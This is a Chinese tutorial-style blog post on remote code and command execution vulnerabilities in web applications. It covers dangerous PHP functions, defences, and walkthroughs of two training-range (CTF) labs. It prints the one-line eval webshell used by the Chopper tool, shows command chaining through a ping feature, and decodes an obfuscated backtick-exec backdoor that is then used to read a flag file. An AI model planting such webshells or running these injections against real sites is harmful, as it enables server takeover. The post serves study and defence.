RCE漏洞以及命令执行漏洞
目录
概念
代码执行和命令执行区别
代码执行漏洞特点
命令执行漏洞特点
漏洞形成条件
漏洞产生地方
如何检测漏洞
白盒情况下
黑盒情况下
防御方案
变量过滤或固定
WAF产品防火墙防护
敏感函数禁用
PHP:
python:
Java:
命令执行函数
拓展
菜刀一句话代码原理
案例演示
pikachu靶场黑盒功能点命令执行——应用功能
墨者白盒代码及命令执行——代码分析
案例补充知识点: 加密的带有echo
概念
这里引用小迪的话:
在Web应用中有时候程序员为了考虑灵活性、简洁性、会将代码调用代码或者命令执行函数进行调用进行处理。比如当应用在调用一些能将字符串转换为代码的函数的时候,没有考虑用户是否能够控制这个字符串,将造成代码执行漏洞。
代码执行和命令执行区别
代码执行漏洞特点
基于脚本,根据由对应编写的脚本产生不同的危害,如php执行出php命令,Java则是Java命
eval函数调用输入是字符变为代码执行
此时网页将其传递的参数
http://192.168.248.129:801/RCE.php?x=phpinfo();
在代码中所执行的是:
$code=phpinfo(); eval(phpinfo(); ); #eval会将()中的以代码进行解析而不是字符串
system函数调用系统命令
命令执行漏洞特点
基于系统,根据使用的系统产生不同的危害,Windows执行Windows命令,Linux执行Linux命令
system函数调用的是系统命令
此时相当于cmd命令行内输入ipconfig如果是Linux系统则是ifconfig
漏洞形成条件
两个条件缺一不可
可控变量:可以控制的变量为可控变量,比如通过网址的一个传参,通过参数值改变变量值
通俗来说就是能够输入自己写的一些数据
漏洞函数:指的是哪个函数对这个变量进行操作,如:eval
好比:上传函数对应文件上传,查询函数对应sql注入,输出函数对应XSS
另外这种漏洞出现的机率取决于网站的应用特性或带有使用的功能
所以在进行找这种漏洞的时候
如果网站只是单纯的一个展示网站,没有其他的查询接口和服务,出现代码执行的漏洞概率不大
漏洞产生地方
漏洞产生不只在编写网页的时候可能存在,同时在中间件,框架还有一些cms等插件程序也是存在
对于插件,框架,cms这些开源的直接到网上进行查找就可以进行复现
web程序源码
中间件平台
其他框架漏洞
如何检测漏洞
白盒情况下
通过代码审计进行查看源代码进行查看
黑盒情况下
漏洞扫描工具:AWVS、Appscan、Nessus
公开漏洞:网上会曝出漏洞,如果网上中有曝出相同的网站漏洞进行利用
源码漏洞,框架漏洞,中间件漏洞
手工看参数及功能点:根据对方的参数值和功能点进行查找,
查看某一个变量参数和使用的脚本语言有相关,实战中会遇到加密
防御方案
变量过滤或固定
代码执行是多样性的,不像sql注入一样存在固定的关键字,可以使用各种函数进行代替
所以过滤变量值不显示,可以改为固定变量值。
只允许使用某一种命令
WAF产品防火墙防护
找到市面上的一些安全产品进行防护
敏感函数禁用
PHP:
eval:把字符串作为php进行执行
assert:断言
call_user_func():把第一个参数作为回调参数
call_user_func_array():调用回到函数,并把第一个数组参数作为回到函数的参数
array_map():为数组的每个元素应用回调参数
python:
exec
Java:
Java中没有类似php中的eval函数可以直接将字符串转为代码进行执行的函数
但是存在反射机制,OGNL、SpEL等(存在相关利用的功能)
命令执行函数
system():执行外部程序并输出显示
exec():执行一个外部程序
shell_exec():通过shell环境执行命令,并将完整的输出以字符串的方式返回
passthru():执行外部命令并显示原始输出
pcntl_exec():在当前进程空间执行指定程序
``反引号():
<?php
echo `abc`;
?>
拓展
菜刀一句话代码原理
<?php @eval($_POST['Z']);?>
原理:
菜刀将一些执行的数据包写到根据工具里面,然后利用密码传参点进行收发控制
eval会将传递的数据包以代码进行执行
通俗来说就是:操作变为数据包,然后数据包通过密码进行发送
案例演示
pikachu靶场黑盒功能点命令执行——应用功能
发现存在可以用于ping服务器通信,可能存在系统命令执行漏洞
另外:此时ping的是他的本机地址,同时也可能存在SSRF漏洞
进行分析可控变量,是否满足条件,发现是可以自由输入是可行的
进行信息收集验证是属于Linux系统还是Windows系统
发现为window系统
此时我们就利用Windows的多命令执行,发现这里是存在漏洞的
Windows下如何一次运行多个命令_天王的博客-CSDN博客_windows执行多条命令
此后我们就可以对其进行后续的渗透
墨者白盒代码及命令执行——代码分析
此时我们拿到该网页的一个源代码
eval函数是一个代码输入的函数,此时这里可能是存在代码执行漏洞
我们此时将原来的eval函数更改为echo输出函数,将输入的改成输出原来的字符
<?php
eval(gzinflate(base64_decode(&40pNzshXSFCJD3INDHUNDolOjE2wtlawt+MCAA==&)));
?>
由于是解密,所以&符号也要根变为’
<?php
echo gzinflate(base64_decode('40pNzshXSFCJD3INDHUNDolOjE2wtlawt+MCAA=='));
?>
此时在php环境得到输出结果为
echo `$_REQUEST[a]`;; ?>
而request函数则是一个接受参数的函数,接受get,post和cookie的变量数据
此时就相当于
那么得知接受参数名为a,并且由request函数接受满足可控变量,eval能够带入代码进行执行
eval(echo `$_REQUEST[a]`;; ?>)
此时利用变量a进行传参,列出当前文件
通过数据包发现是属于Linux系统
那么我们将使用tac命令对其读取文件,获取里面的内容,拿到flag
如果是Windows系统则是cat
cat<key_120672328426179.php
案例补充知识点: 加密的带有echo
此处的echo并非是自己更换的echo
而是解密之后自带的echo,我们换成print输出也是带有echo输出
他是存在于
gzinflate(base64_decode('40pNzshXSFCJD3INDHUNDolOjE2wtlawt+MCAA=='));
当加上echo之后是命令执行,而不存在echo的情况下是代码执行
名词解释:
poc:验证代码
exp:利用漏洞
本文章仅供学习交流
RCE漏洞以及命令执行漏洞相关推荐
- Spring 框架更新了一条可能造成 RCE(远程命令执行漏洞)
今天 Spring 框架更新了一条可能造成 RCE(远程命令执行漏洞)的问题代码,如图: 随即在国内安全圈炸开了锅,大家纷纷转发一张图: 上次因为核弹级漏洞 log4j2 的 POC 公开,大批企业为 ...
- 30.WEB漏洞-RCE代码及命令执行漏洞
30:WEB漏洞-RCE代码及命令执行漏洞 参考文章:https://www.cnblogs.com/zhengna/p/15775737.html 本文为博主学习复现笔记 文章目录 30:WEB漏洞 ...
- WEB漏洞—RCE 代码及命令执行漏洞
什么是RCE? 指的是远程命令/代码执行(remote command/code execute) 在 Web 应用中有时候程序员为了考虑灵活性.简洁性,会在代码调用代码或命令执行函数去处理.比如当应 ...
- RCE代码及命令执行漏洞简解
在 Web 应用中有时候程序员为了考虑灵活性.简洁性,会在代码调用 代码或命令执行函数去处理.比如当应用在调用一些能将字符串转化成代 码的函数时,没有考虑用户是否能控制这个字符串,将造成代码执行漏 洞 ...
- 第30天-WEB 漏洞-RCE 代码及命令执行漏洞全解
在 Web 应用中有时候程序员为了考虑灵活性.简洁性,会在代码调用代码或命令执行函数去处理.比如当应用在调用一些能将字符串转化成代码的函数时,没有考虑用户是否能控制这个字符串,将造成代码执行漏洞.同样 ...
- Web安全 RCE漏洞(命令执行漏洞的 测试和利用).
系统命令执行的概括 系统命令执行一般是 在Web应用中,可能有时候需要调用一些系统命令来执行,而程序在开发的时候没有对输入进行严格的过滤,导致恶意用户可以构造一些恶意的系统命令,从而达成系统命令执行攻 ...
- php imagemagick 漏洞,ImageMagick命令执行漏洞分析
关于ImageMagick ImageMagick是一个功能强大的开源图形处理软件,可以用来读.写和处理超过90种的图片文件,包括流行的JPEG.GIF. PNG.PDF以及PhotoCD等格式.使用 ...
- [ web 漏洞篇 ] 常见web漏洞总结之 RCE 远程代码 / 命令执行漏洞总结
- OXID eShop 6.x ~ 6.3.4 版本SQL注入漏洞到命令执行漏洞在线实验
来源:https://www.vulnspy.com/en-oxid-eshop-6.x-sqli-to-rce/ 实验地址:https://www.vsplate.com/?github=vspla ...
最新文章
- 算法提高课-图论-单源最短路的建图方式-AcWing 920. 最优乘车:bfs求最短路、建图
- JAVA数据类型与逻辑练习
- 测试岗位 mysql 面试题_一套实用的渗透测试岗位面试题,你会吗?
- MySQL内核调试_MySQL内核技术之“Opt_trace_系列”
- JS如何设置获取盒模型对应的宽高
- ANSYS——查看某一截面的云图分布(也叫做切片图)
- js怎么制作html的主题,用HTML和CSS以及JS制作简单的网页菜单界面的代码
- JavaScript新手入门教程大全~~~
- java AST 表达式_Atitti.java exp ast java表达式语法ast构造器
- 转换文档参数_Word、Excel、PDF多格式转换?只需1招全搞定
- 数据库水平切分的实现原理解析---分库,分表,主从,集群,负载均衡器(转)...
- springboot后端接受图片到本地
- moba寻路_Dota2小技巧:从小兵仇恨到寻路机制
- 定位神器:1秒定位DOM元素绑定的事件代码的位置
- Launcher布局加载流程
- 独木舟上的旅行-OJ
- 水源井远程监测控制系统 泵房无人值守方案
- 1367:查找二叉树(tree_a)
- 最简单的视频网站(JavaEE+FFmpeg) 转载自: Mr.Rico
- navicat导入sql文件成功但没有表